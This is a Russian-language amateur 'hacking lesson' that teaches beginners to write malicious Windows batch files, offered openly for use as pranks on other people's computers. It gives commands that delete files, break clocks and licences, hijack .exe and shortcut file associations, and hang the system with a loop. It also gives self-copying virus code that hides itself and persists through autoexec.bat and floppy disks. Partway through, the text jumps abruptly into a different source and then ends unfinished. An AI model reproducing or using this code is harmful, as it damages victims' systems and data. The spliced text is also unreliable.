*ХЕКЕРСТВО* урок 2 о програме можна сказать bat вирус
Приветствую всех начинающих вирусописателей)) В этой статье не будет ничего сложного, здесь НЕ БУДЕТ ПРОГРАММИРОВАНИЯ. Зато очень полезная информация для тех кто хочет создать свой "вирус")) ...Ну ладно поехали!)
Вобщем речь пойдёт о написании вируса в блокноте с расширением. bat.
BAT файлы это командные файлы в которых записаны команды по одной в каждой строчке. ТОесть написал команду в строчке блокнота жмёшь "Enter" и приступил к написанию другой) Теперь делай по действиям :
Запускаешь блокнот
Сейчас приведу парочку тупых команд но это для того чтобы ты убедился что я не врун)) Дальше будет интереснее) Вот пример того что можешь пихнуть в блокнот..
Calc (запускает конкулятор)
Taskmgr (диспетчер задач)
Mspaint(рисовалка)
Это привёл КОМАНДЫ!) Теперь смотри как это запускать....перед всеми этими командами пишешь "start" Пример: start mspaint, С этим разобрались. Теперь сохраняй всё это дело...Что уже сохранил? Теперь смотри если ты сохранил в формате "txt" то можешь смело искать другую тему и покинуть эту...если ты внимательно читал и сохранил в "bat" то можешь себя похвалить))) Теперь пробуй запустить твоё чудо) Если команда правильная то у тебя запуститься то что ты хотел)) Теперь следущее....
И ещё.. прописывать "start" только для прог винды!!! Для остальных команд этого не нужно!! Теперь...))))
А теперь мы приступим к злому банальному удалению файлов!! Запускай любимый блокнот и пиши в нём...(ты скопировал команду а ты сам напиши! Запоминай их!!)
Del . /q ( после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!! Тоесть ты уже сохранил это добро в bat на рабочий стол или в мои документы ну или куда хочешь...запускаешь это и......АААА!!!!! Меня Нае....и!!!! Нет) Если ярлычки на рабочем столе удалились а в моих документах кроме папок ничего не осталось значит всё нормально! (для тебя скорее всего и хорошо и плохо, читать нужно было что эта команда делает!))) Нужно просто быть ВНИМАТЕЛЬНЫМ!
Теперь ещё....
Если ты хочешь чтобы твой загадочный файлик после выполнения всех команд просто взял и исчез то эта команда для тебя) del %0 (ПИСАТЬ ЕЁ В САМОМ КОНЦЕ ВИРУСА))))
Эти команды копируют твой файлик туда куда ему скажешь) Вот типичный пример...
Copy %0 C:saper. bat или copy %0 C:game. bat Имена файлов и буквы жёсткого диска можно менять главное чтобы они существовали)(всмысле разделы винчестера имелись а не имена файлов)
Теперь прикольнёмся) пиши эту команду) label E: pridurok. После выполнения этой команды винт будет называться "pridurok"))) Тупо но весело)
"Скажи сколько время?))" Вот ещё команда) time 00:00 . Время можно установить естественно своё ну например time 07:45 . Можно ещё подправить дату) date 13.03.36
ПРикольно получится) Каспер начнёт ругаться мол "ключик истёк ещё 20 лет назад))) Покупай или проваливай))))) Также и с другими прогами работающие подобным образом.) Вот тебе ещё команда которая при запуске попытается (в зависимости от мощности компа) повесить его.
;
Start mspaint
Goto x ;
Вместо паинта можно поставить любые проги которые хочешь. Возьми тот же калькулятор или сапёр)) Теперь одна весёлая команда))) assoc. exe=.mp3 После её выполнения все ексешнкики будут запускаться как музыка)) Это явное убийство компа) Можно ещё почудить с ярлыками...например пишешь так.. assoc. lnk=.txt И тогда все ярлычки будут открываться скорее всего блокнотиком)))) Представляешь глаза юзверя который будет стучать мышкой по столу пытаясь запустить любимую контру с рабочего стола через ярлык)))) Можно ещё позабивать комп папками) Вот команда:
Md 1
Md 2
Md 3
Md 4...
Ну и так далее) А теперь ты говоришь мне " А если мне нужно 1000 папок что я буду всё прописывать вручную?" И я отвечаю "Нет" Есть прекрасный продукт от всеми нами любимого дядя Гейтса. Называется он Microsoft Office. Там есть такой "ExeЭтот вирус заражает винчестер, оставляя только один файл virus. bat.
Но все-таки я бы не сказал что это полноценный вирус, т. к. он лишен
Возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел
Более четкие очертания дополним его возможностью заражать другие ПК:
@Echo off
Copy %0 c:virus. bat >nul
Echo c:virus. bat>>c:autoexec. bat
Copy %0 a:run. bat >nul
В этом примере появляется строка, которая дает возможность вирусу
Заражать дискеты. Смысл этого в том что если при перезагрузке ПК в
Дисководе будет дискета, то она будет заражена.
Конечно файл virus. bat в корневом диске C: будет сильно мозолить
Глаза юзеру, чтобы этого не было существует программа attrib.
Преобразуем вирус:
@Echo off
Copy %0 c:virus. bat >nul
Attrib +h c:virus. bat >nul
Echo c:virus. bat>>c:autoexec. bat
Copy %0 a:run. bat >nul
Если вы внимательны, то вы уже поняли, что вызов файла virus. bat в
Autoexec. bat будет записываться каждый раз при перезагрузке ПК.
Чтобы этого не произошло есть простой способ: после записи вызова
Надо с помощью программы attrib установить атрибут только чтение у
Autoexec. bat. А есть другой вариант, он немного посложнее, но
Гораздо грамотнее:
@Echo off
If exist c:virus. bat goto cool
Copy %0 c:virus. bat >nul
Attrib +h c:virus. bat >nul
Echo c:virus. bat>>c:autoexec. bat
:cool
Copy %0 a:run. bat >nul
Здесь вторая строка проверяет существует ли уже файл c:virus. bat и
Если он уже существует, то происходит переход к метке cool. Этот
Способ тоже очень прост. Явный недостаток - если юзер уберет вызов
Из autoexec. bat, а файл virus. bat оставит, то глупый вирус будет
Нагло обманут. Чтобы вирус был умнее, то надо использовать программу
Find, если вам будет не лень с ней разбираться, то вы сможете
Написать более сложный BAT-вирус, который будет заражать не один
Файл c:autoexec. bat, а все .BAT.
Пример: